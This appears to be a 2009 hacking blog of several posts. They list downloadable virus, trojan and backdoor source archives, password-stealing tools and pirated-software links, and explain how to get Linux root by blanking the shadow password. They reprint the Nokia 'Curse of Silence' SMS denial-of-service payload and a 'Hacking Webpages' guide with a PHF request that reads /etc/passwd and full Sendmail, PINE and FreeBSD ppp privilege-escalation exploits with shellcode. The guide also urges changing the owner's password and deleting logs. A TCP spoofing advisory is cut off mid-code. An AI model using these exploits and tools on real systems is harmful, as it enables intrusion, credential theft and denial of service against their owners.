virus source code -part 2

Jumat, 09 Januari 2009

http://www.koin.org/files/virii/

[ ] 1992b.zip 17-May-2007 19:08 1k 
[ ] Avlist.zip 17-May-2007 19:08 11k 
[ ] BULK2.zip 17-May-2007 19:08 60k 
[ ] amilia_1.zip 17-May-2007 19:08 1k 
[ ] antiexe.zip 17-May-2007 19:08 1k 
[ ] antitbav.zip 17-May-2007 19:08 12k 
[ ] arab.zip 17-May-2007 19:08 1k 
[ ] armagedn.zip 17-May-2007 19:08 12k 
[ ] assassin.zip 17-May-2007 19:08 3k 
[DIR] backdoors/ 17-May-2007 19:01 - 
[ ] beeper.zip 17-May-2007 19:08 2k 
[ ] carovil.zip 17-May-2007 19:08 1k 
[ ] caser.zip 17-May-2007 19:08 225k 
[ ] digpol.zip 17-May-2007 19:08 1k 
[ ] eliza.zip 17-May-2007 19:08 1k 
[ ] et110.zip 17-May-2007 19:08 13k 
[ ] firfly.zip 17-May-2007 19:08 1k 
[ ] insuff.zip 17-May-2007 19:08 3k 
[ ] inv-evil.zip 17-May-2007 19:08 4k 
[DIR] irc bots/ 17-May-2007 19:04 - 
[ ] k-hate.zip 17-May-2007 19:08 1k 
[ ] krttdemo.zip 17-May-2007 19:08 3k 
[ ] logs.zip 17-May-2007 19:08 107k 
[ ] lurch.zip 17-May-2007 19:08 2k 
[ ] melissa.zip 17-May-2007 19:08 9k 
[ ] michael.zip 17-May-2007 19:08 4k 
[ ] michelan.zip 17-May-2007 19:08 2k 
[ ] nrlg.zip 17-May-2007 19:08 24k 
[ ] parasit1.zip 17-May-2007 19:08 1k 
[ ] pebbles.zip 17-May-2007 19:08 1k 
[ ] plague.zip 17-May-2007 19:08 3k 
[DIR] pws/ 17-May-2007 19:04 - 
[ ] renexts_1.36.zip 17-May-2007 19:08 23k 
[ ] sid.zip 17-May-2007 19:08 51k 
[DIR] spybots/ 17-May-2007 19:04 - 
[DIR] sub7/ 17-May-2007 19:06 - 
[DIR] trojans/ 17-May-2007 19:08 - 
[ ] ufester.zip 17-May-2007 19:08 2k 
[ ] ultimate.zip 17-May-2007 19:08 1k 
[ ] ultimute.zip 17-May-2007 19:08 8k 
[ ] unk.zip 17-May-2007 19:08 1k 
[ ] unlock.zip 17-May-2007 19:08 1k 
[ ] ussr-696.zip 17-May-2007 19:08 1k 
[ ] ussr1049.zip 17-May-2007 19:08 1k 
[ ] ussr492.zip 17-May-2007 19:08 1k 
[ ] ussr711.zip 17-May-2007 19:08 1k 
[ ] vip.zip 17-May-2007 19:08 7k 
[ ] virii gen 3.zip 17-May-2007 19:08 24k 
[ ] virii gen.zip 17-May-2007 19:08 17k 
[ ] vxcheck.zip 17-May-2007 19:08 211k 
[ ] whocares.zip 17-May-2007 19:08 2k

Read more...

virus source code - part 1

ttp://www.koin.org/files/virii/trojans/

[ ] AcidShiverSource.zip 17-May-2007 19:06 23k 
[ ] AiTrojan4.zip 17-May-2007 19:06 1k 
[ ] Amitis1[1].4.3b.zip 17-May-2007 19:06 224k 
[ ] BWv0[1].3Beta.zip 17-May-2007 19:06 1k 
[ ] BackAtTacK1[1].6.zip 17-May-2007 19:06 420k 
[ ] BackLash-Alpha.zip 17-May-2007 19:06 25k 
[ ] BioNet_4-0-5.zip 17-May-2007 19:06 13k 
[ ] BlackCore_v2[1].1.zip 17-May-2007 19:06 94k 
[ ] Blade Run Client.zip 17-May-2007 19:06 168k 
[ ] Blade Runner Serv.zip 17-May-2007 19:06 1k 
[ ] BoBo.zip 17-May-2007 19:06 2k 
[ ] ByPassFireWall.zip 17-May-2007 19:06 1k 
[ ] Devil6.zip 17-May-2007 19:07 3k 
[ ] Dk_Server_Pub260.zip 17-May-2007 19:07 10k 
[ ] Doly16.zip 17-May-2007 19:07 4k 
[ ] EvilHTTPServer-0[1]...> 17-May-2007 19:07 2k 
[ ] Fantasy-X1[1].3.zip 17-May-2007 19:07 1.4M 
[ ] Fiendishperson16.zip 17-May-2007 19:07 1k 
[ ] File Injector v2.zip 17-May-2007 19:07 1k 
[ ] ForcedControl.zip 17-May-2007 19:07 1k 
[ ] FrEaK-v1[1].01.zip 17-May-2007 19:07 116k 
[ ] GC12.zip 17-May-2007 19:07 1k 
[ ] GreenScreen1[1].0Fre..> 17-May-2007 19:07 1k 
[ ] Herman-Agent-1[1].0.rar 17-May-2007 19:07 734k 
[ ] Hornet-v1[1].00.zip 17-May-2007 19:07 88k 
[ ] LANfiltrator1[1].1fi..> 17-May-2007 19:07 118k 
[ ] MafiaDownloaderV1[1]..> 17-May-2007 19:07 86k 
[ ] Massaker1[1].2.zip 17-May-2007 19:07 1.3M 
[ ] MiniMoClient.zip 17-May-2007 19:07 1k 
[ ] PortLess12.zip 17-May-2007 19:07 1k 
[ ] Silent Spy-v2[1].10.zip 17-May-2007 19:08 86k 
[ ] Sinique10.zip 17-May-2007 19:08 294k 
[ ] Spook3[1].0.zip 17-May-2007 19:08 207k 
[ ] TechKiller.zip 17-May-2007 19:08 1k 
[ ] XtrMLair_v0[1].1.zip 17-May-2007 19:08 46k 
[ ] acidShiver.zip 17-May-2007 19:06 27k 
[ ] acidhead.zip 17-May-2007 19:06 1k 
[ ] bo120.zip 17-May-2007 19:06 38k 
[ ] bo121unix.tgz 17-May-2007 19:06 27k 
[ ] bo2k_dist_1_0_us.zip 17-May-2007 19:06 43k 
[ ] buschtrommel.zip 17-May-2007 19:06 6k 
[ ] cafe11.zip 17-May-2007 19:06 7k 
[ ] cafe8.zip 17-May-2007 19:06 2k 
[ ] cain151.zip 17-May-2007 19:06 1k 
[ ] capture.zip 17-May-2007 19:06 1k 
[ ] ccobra1_0.zip 17-May-2007 19:07 580k 
[ ] coma.zip 17-May-2007 19:07 1k 
[ ] darkangel251-1.zip 17-May-2007 19:07 1k 
[ ] darkangel251.zip 17-May-2007 19:07 1k 
[ ] espionage_selfinstal..> 17-May-2007 19:07 1k 
[ ] flux.rar 17-May-2007 19:07 147k 
[ ] frenzy.zip 17-May-2007 19:07 1k 
[ ] fs122.zip 17-May-2007 19:07 61k 
[ ] gf135.zip 17-May-2007 19:07 2k 
[ ] hackatack11.zip 17-May-2007 19:07 3k 
[ ] hammerstd20.rar 17-May-2007 19:07 751k 
[ ] iarefilter106.zip 17-May-2007 19:07 175k 
[ ] indoctrination.zip 17-May-2007 19:07 1k 
[ ] koko2.zip 17-May-2007 19:07 1k 
[ ] lancomBAT.zip 17-May-2007 19:07 12k 
[ ] magic25.zip 17-May-2007 19:07 842k 
[ ] millenium.zip 17-May-2007 19:07 1k 
[ ] mini13a.zip 17-May-2007 19:07 1k 
[ ] moddedAcidShiver.zip 17-May-2007 19:07 1k 
[ ] neotrojan-1.ZIP 17-May-2007 19:07 1k 
[ ] neotrojan.ZIP 17-May-2007 19:07 1k 
[ ] netdevil1[1].4.zip 17-May-2007 19:07 115k 
[ ] nethack-1.rar 17-May-2007 19:07 372k 
[ ] nethack.rar 17-May-2007 19:07 372k 
[ ] nk1_2c-1.zip 17-May-2007 19:07 43k 
[ ] nk1_2c.zip 17-May-2007 19:07 43k 
[ ] oblivionmini.zip 17-May-2007 19:07 3k 
[ ] paradise99.zip 17-May-2007 19:07 1k 
[ ] remotehackv[1].1.5.c..> 17-May-2007 19:07 454k 
[ ] rewind_1[1].4.zip 17-May-2007 19:08 641k 
[ ] theth15.zip 17-May-2007 19:08 268k 
[ ] thething16.zip 17-May-2007 19:08 4k 
[ ] trojancow.zip 17-May-2007 19:08 20k 
[ ] trojanfriend1-1[1].0..> 17-May-2007 19:08 1k 
[ ] trojanfriend1[1].0.zip 17-May-2007 19:08 1k 
[ ] voodoo.zip 17-May-2007 19:08 1k 
[ ] wartrojan.zip 17-May-2007 19:08 1k 
[ ] zz2[1].0.zip 17-May-2007 19:08 739k

Read more...

rapidshare links from kaskus universal driver

http://rapid*share.com/files/135517628/100000.Universal.Driver.08.2008_www.softarchive.net.part01.rar
http://rapid*share.com/files/135526201/100000.Universal.Driver.08.2008_www.softarchive.net.part02.rar
http://rapid*share.com/files/135535631/100000.Universal.Driver.08.2008_www.softarchive.net.part03.rar 
http://rapid*share.com/files/135544686/100000.Universal.Driver.08.2008_www.softarchive.net.part04.rar 
http://rapid*share.com/files/135554105/100000.Universal.Driver.08.2008_www.softarchive.net.part05.rar 
http://rapid*share.com/files/135564807/100000.Universal.Driver.08.2008_www.softarchive.net.part06.rar 
http://rapid*share.com/files/135575477/100000.Universal.Driver.08.2008_www.softarchive.net.part07.rar 
http://rapid*share.com/files/135586192/100000.Universal.Driver.08.2008_www.softarchive.net.part08.rar 
http://rapid*share.com/files/135597244/100000.Universal.Driver.08.2008_www.softarchive.net.part09.rar 
http://rapid*share.com/files/135607717/100000.Universal.Driver.08.2008_www.softarchive.net.part10.rar 
http://rapid*share.com/files/135618409/100000.Universal.Driver.08.2008_www.softarchive.net.part11.rar 
http://rapid*share.com/files/135628543/100000.Universal.Driver.08.2008_www.softarchive.net.part12.rar 
http://rapid*share.com/files/135639189/100000.Universal.Driver.08.2008_www.softarchive.net.part13.rar 
http://rapid*share.com/files/135651090/100000.Universal.Driver.08.2008_www.softarchive.net.part14.rar 
http://rapid*share.com/files/135660681/100000.Universal.Driver.08.2008_www.softarchive.net.part15.rar 
http://rapid*share.com/files/135669206/100000.Universal.Driver.08.2008_www.softarchive.net.part16.rar

Read more...

small freeware

 [] HashEncoder.zip
make encrypt decrypt 

 [] HotKey2.2.zip
to make key winamp + jetaudio, so by pressing the button 
I have been defined so that muter songs simply press keyb 

 [] IconCollector.zip
to take kumpulan2 icon in the exe file to file and save 

[] ManifestXP.zip
of print screen, do this automatically save what you want to save 
so when the need to create a tutorial gk pace to mspaint to save the clipboard 

 [] OpenDialupXP.zip
dialup password stealing tools 

[] OpenPassXP2.2.zip
steal passwords xp 

[] PMGetText3.6.zip
[] PMGetText4.0.zip
[] PMGetText4.1.zip
a save from ym pm 

[] Sma_Soft_Norooz_1386 ..>
4 program on the old version including PMGetText3 

StatusChanger4.1.exe
to change the status ym using the time interval 

TaskEnablor.zip  
to enable / disable registry and task manager 

TaskManagerXP.zip
to display in the proces in the Windows Environment 

[] TroMessenger1.2.zip
(YM thief password if the opponent is offline tp apply for ym ver 6 down, now deceased) 

Quote: [] Troya1.4.zip
WebRAT (Remote Access tools) remote PC via a web / http

 [] YCleanArchive.zip
yahoo messenger tools to clean the Archives of PM 

 [] YProfileChecker.zip
Yahoo messenger tool to check whether the user profile is still active or not 

 [] Yahoo9_Multi_Sma_Sof ..>
Yahoo messenger tool for multi login in yahoo messenger

Read more...

Identify the tricks in the Computer Virus

Perhaps there is in your computer virus or malware, but you would not know. Here are some signs that your computer infected with a virus or malware. 

Computer running slow. If you have your computer slower than usual, then you may be exposed to computer viruses or malware. Creator of the virus can send you spam email, directing you to a page or page that your browser to fake, and stake out or steal your important files. 

Email random. Many viruses can spread to your email. The virus can spread to the entire contact list in the email address. If you receive an email that displays a word such as "Undeliverable", then it was likely the virus is. 

Damage to the Internet browser. If you start the browser 'frozen' or 'dead', your computer may have been infected. Virus happy to use the Internet to disseminate infeksinya. By doing so, the virus will 'eat' out memory or hard disk resource and berimbas to the performance of your browser. 

Error messages when booting up. If the startup process for your computer, you then receive an error message, the message is a sign of the other. Malware programs usually also will participate in the startup when you start the computer.

source : beritanet.com

Read more...

Accessing Root without Password on Linux

Selasa, 06 Januari 2009

Whether bluff again, we will immediately try this technique. First we turn on the computer. After a lilo boot, we type in â € œlinux singleâ € (without the quotes).

example:

BOOT: linux single

If you use Boot lilo the graph, you can press ESC key for lilo boot into text. Remember, if you lilo.conf in LABEL linux not mean you have to change. (See the / etc / lilo.conf)

For example, the label is my default linux-ATUNEZ. So I have a linux-ATUNEZ single.

After that, we just wait and it will automatically become Root. In fact until we're done here, but we will try other ways a more Extreme.

Now we go to the directory /etc with the type cd /etc

copy 4 files below:

1. shadow

2. shadow -

3. passwd

4. passwd -


You can copy to the directory / tmp. Do not forget to meRename 4 copy of the file, for example shadow.old. File a copy of this useful as a backup.

Once finished, now we edit the file that is located in the shadow /etc/shadow. With the way the vi / etc / shadow


* Examples of the contents of the file my shadow:

We remove the $ 1 $ GIVCLBI7 $ cPTcd3oPGjd9fugl4HOUJ0 (the results of the root password that has been in encrypt). If you are, save this file with the press the ESC to continue with: WQ! Enter.

After that we restart the computer to the way a reboot or shutdown-r now.

For the next step we just stay logged in as usual to go to the root (no type linux single). Now we do not need to enter a password to become root.

If you want to return to normal conditions. You live copy 4 earlier backup file to the original, which is in the directory / etc.

Here until we first encounter. How to prevent, please wait for the next article ... bye bye ..

Read more...

Hacking Nokia Symbian S60 SMS Exploit

Affected Products
=================
All Nokia Series60 2.6, 2.8, 3.0, 3.1 devices, see detailed list at
the end of the document.

Requirements to Execute Attack
==============================
- MSISDN of the target
- mobile phone contract that allows sending of SMS messages
- (almost) any Nokia phone (or some other means of sending SMS
messages with TP-PID set to "Internet Electronic Mail")

Risk Level
==========
Medium (for S60 2.8 and 3.1 devices): Target will not be able to
receive any SMS or MMS messages while the attack is ongoing. After
that, only very limited message receiving is possible until the device
is Factory Resetted

High (for S60 2.6 and 3.0 devices): Target will not be able to receive
any SMS or MMS messages until the device is Factory Resetted

Summary
=======
Emails can be sent via SMS by setting the messages Protocol Identifier
to "Internet Electronic Mail" and formatting the message like this:



If such messages contain an with more than 32
characters, S60 2.6, 2.8, 3.0 and 3.1 devices are not able to receive
other SMS or MMS messages anymore. 2.6 and 3.0 devices lock up after
only one message, 2.8 and 3.1 devices after 11 messages.

Details
=======
3GPP TS 23.040 specifies a method for sending emails via SMS in
section 3.8 ("SMS and Internet Electronic Mail interworking"). In its
most basic form, such a SMS message starts with the from- (MT-SMS) or
to-email-address (MO-SMS), followed by a space character, and then the
message body. The TP-Procotol-Identifier of the SMS message has to be
set to "Internet Electronic Mail" (value: 50 / 0x32).

It is not specified how such a message should be displayed when
received by the phone. Before S60 2.6, Series60 devices displayed such
messages exactly as they were sent. Starting with S60 2.6, when the
part of the message that should contain the from-address looks
anything like an email address (i.e. it contains an "@" somewhere),
this address is then displayed as the message sender instead of the
usually shown TP-Originating-Address.

If this email address is longer than 32 characters, Series60 2.6, 2.8,
3.0 and 3.1 devices fail to display the message or give any indication
on the user interface that such a message has been received. They do,
however, signal to the SMSC that they received the message by sending
an RP-ACK.

Devices running S60 2.6 or 3.0 will not be able to receive any other
SMS message after that. The user interface does not give any
indication of this situation. The only action to remedy this situation
seems to be a Factory Reset of the device (by entering "*#7370#").

Devices running S60 2.8 or 3.1 react a little different: They do not
lock up until they received at least 11 SMS-email messages with an
email address that is longer than 32 characters. The device will not
be able to receive any other SMS message after that - upon receiving
the next message, the phone will just display a warning that there is
not enough memory to receive further messages and that data should be
deleted first. This message is even displayed on an otherwise
completely "empty" device.

After switching the phone off and on again, it has limited capability
for receiving SMS messages again: If it receives a SMS message that is
split up into several parts (3GPP TS 23.040, 9.2.3.24.1 Concatenated
Short Messages) it is only able to receive the first part and will
display the "not enough memory" warning again. After powercycling the
device again, it can then receive the second part. If there is a third
part, it has to be powercycled again, and so on.

Also, an attacker now just needs to send one more "Curse Of Silence"
message to lock the phone up again. By always sending yet another one
as soon as the status report for delivery of the previous message is
received, the attacker could completely prevent a target from
receiving any other SMS/MMS messages.

Only Factory Resetting the device will restore its full message
receiving capabilities. Note that, if a backup is made using Nokia
PC-Suite *after* being attacked, the blocking messages are also
backuped and will be sent to the device again when restoring the
backup after the Factory Reset.

Note that not being able to receive SMS messages also means not being
able to receive MMS messages, since they are signalled by sending an
SMS message to the device.

"Curse Of Silence" messages can be generated with any phone or
cellular modem that supports 3GPP TS 27.005 AT commands and with most
Nokia phones also directly from the user interface. For example, on
S60 devices, when in the message editor, the type of the message can
be switched to "E-mail" under "Options" -> "Sending options" ->
"Message sent as". The 6310i conveniently offers a "Write email" menu
entry in the messaging menu.

The simplest form of content for a Curse Of Silence would be something
like "123456789@123456789.1234567890123 " (the digits are used only to
illustrate the length of the "email address" of more than 32
characters). Note the space at the end of the message!


Workaround
==========
None known for the user side.
Until a firmware fix is available, network operators should filter
messages with TP-PID "Internet Electronic Mail" and an email address
of more than 32 characters or reset the TP-PID of these messages to 0.

Credits
=======
Tobias Engel
November 9, 2008

Many thanks to Frank Rieger for spending countless hours cutting and
editing the video.

Detailed List of Affected Products
==================================
Tested on several S60 2.6, 3.0 and 3.1 devices. Since the vulnerable
component is a S60 base functionality, it seems safe to assume that
all devices with these OS versions are affected.

S60 3rd Edition, Feature Pack 1 (S60 3.1):
Nokia E90 Communicator
Nokia E71
Nokia E66
Nokia E51
Nokia N95 8GB
Nokia N95
Nokia N82
Nokia N81 8GB
Nokia N81
Nokia N76
Nokia 6290
Nokia 6124 classic
Nokia 6121 classic
Nokia 6120 classic
Nokia 6110 Navigator
Nokia 5700 XpressMusic

S60 3rd Edition, initial release (S60 3.0):
Nokia E70
Nokia E65
Nokia E62
Nokia E61i
Nokia E61
Nokia E60
Nokia E50
Nokia N93i
Nokia N93
Nokia N92
Nokia N91 8GB
Nokia N91
Nokia N80
Nokia N77
Nokia N73
Nokia N71
Nokia 5500
Nokia 3250

S60 2nd Edition, Feature Pack 3 (S60 2.8):
Nokia N90
Nokia N72
Nokia N70

S60 2nd Edition, Feature Pack 2 (S60 2.6):
Nokia 6682
Nokia 6681
Nokia 6680
Nokia 6630

Video download : click here
source : berlin.ccc.de

Read more...

Hacking Webpages - internet hacking

Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques." We will discuss a few various ways of hacking webpages and getting root. We are also going to interview and question other REAL hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.


The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).


Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.
It's best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I'm going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it up:

cat <<>/tmp/x.c
#define RUN "/bin/ksh"
#include
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat <<>/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat <<>/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi


and now on to another exploit. I'm going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting
the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that I'm going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on
FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:

#include
#include
#include

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */
int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);
ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;
*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);
}

Now that you've gotten root "what's next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.

~~PSYCHOTIC~~

Read more...

A simple TCP spoofing attack

Over the past few years TCP sequence number prediction attacks have become a
real threat against unprotected networks, taking advantage of the inherent
trust relationships present in many network installations. TCP sequence
number prediction attacks have most commonly been implemented by opening a
series of connections to the target host, and attempting to predict the
sequence number which will be used next. Many operating systems have
therefore attempted to solve this problem by implementing a method of
generating sequence numbers in unpredictable fashions. This method does
not solve the problem.

This advisory introduces an alternative method of obtaining the initial
sequence number from some common trusted services. The attack presented here
does not require the attacker to open multiple connections, or flood a port
on the trusted host to complete the attack. The only requirement is that
source routed packets can be injected into the target network with fake
source addresses.

This advisory assumes that the reader already has an understanding of how
TCP sequence number prediction attacks are implemented.

The impact of this advisory is greatly diminished due to the large number of
organizations which block source routed packets and packets with addresses
inside of their networks. Therefore we present the information as more of
a 'heads up' message for the technically inclined, and to re-iterate that
the randomization of TCP sequence numbers is not an effective solution
against this attack.


Technical Details
~~~~~~~~~~~~~~~~~

The problem occurs when particular network daemons accept connections
with source routing enabled, and proceed to disable any source routing
options on the connection. The connection is allowed to continue, however
the reverse route is no longer used. An example attack can launched against
the in.rshd daemon, which on most systems will retrieve the socket options
via getsockopt() and then turn off any dangerous options via setsockopt().

An example attack follows.

Host A is the trusted host
Host B is the target host
Host C is the attacker

Host C initiates a source routed connection to in.rshd on host B, pretending
to be host A.

Host C spoofing Host A --> Host B in.rshd

Host B receives the initial SYN packet, creates a new PCB (protocol
control block) and associates the route with the PCB. Host B responds,
using the reverse route, sending back a SYN/ACK with the sequence number.

Host C spoofing Host A <-- Host B in.rshd

Host C responds, still spoofing host A, acknowledging the sequence number.
Source routing options are not required on this packet.

Host C spoofing Host A --> Host B in.rshd

We now have an established connection, the accept() call completes, and
control is now passed to the in.rshd daemon. The daemon now does IP
options checking and determines that we have initiated a source routed
connection. The daemon now turns off this option, and any packets sent
thereafter will be sent to the real host A, no longer using the reverse
route which we have specified. Normally this would be safe, however the
attacking host now knows what the next sequence number will be. Knowing
this sequence number, we can now send a spoofed packet without the source
routing options enabled, pretending to originate from Host A, and our
command will be executed.

In some conditions the flooding of a port on the real host A is required
if larger ammounts of data are sent, to prevent the real host A from
responding with an RST. This is not required in most cases when performing
this attack against in.rshd due to the small ammount of data transmitted.

It should be noted that the sequence number is obtained before accept()
has returned and that this cannot be prevented without turning off source
routing in the kernel.

As a side note, we're very lucky that TCP only associates a source route with
a PCB when the initial SYN is received. If it accepted and changed the ip
options at any point during a connection, more exotic attacks may be possible.
These could include hijacking connections across the internet without playing
a man in the middle attack and being able to bypass IP options checking
imposed by daemons using getsockopt(). Luckily *BSD based TCP/IP stacks will
not do this, however it would be interesting to examine other implementations.

Impact
~~~~~~

The impact of this attack is similar to the more complex TCP sequence
number prediction attack, yet it involves fewer steps, and does not require
us to 'guess' the sequence number. This allows an attacker to execute
arbitrary commands as root, depending on the configuration of the target
system. It is required that trust is present here, as an example, the use
of .rhosts or hosts.equiv files.


Solutions
~~~~~~~~~

The ideal solution to this problem is to have any services which rely on
IP based authentication drop the connection completely when initially
detecting that source routed options are present. Network administrators
and users can take precautions to prevent users outside of their network
from taking advantage of this problem. The solutions are hopefully already
either implemented or being implemented.

1. Block any source routed connections into your networks
2. Block any packets with internal based address from entering your network.

Network administrators should be aware that these attacks can easily be
launched from behind filtering routers and firewalls. Internet service
providers and corporations should ensure that internal users cannot launch
the described attacks. The precautions suggested above should be implemented
to protect internal networks.

Example code to correctly process source routed packets is presented here
as an example. Please let us know if there are any problems with it.
This code has been tested on BSD based operating systems.

u_char optbuf[BUFSIZ/3];
int optsize = sizeof(optbuf), ipproto, i;
struct protoent *ip;

if ((ip = getprotobyname("ip")) != NULL)
ipproto = ip->p_proto;
else
ipproto = IPPROTO_IP;
if (!getsockopt(0, ipproto, IP_OPTIONS, (char *)optbuf, &optsize) &&
optsize != 0) {
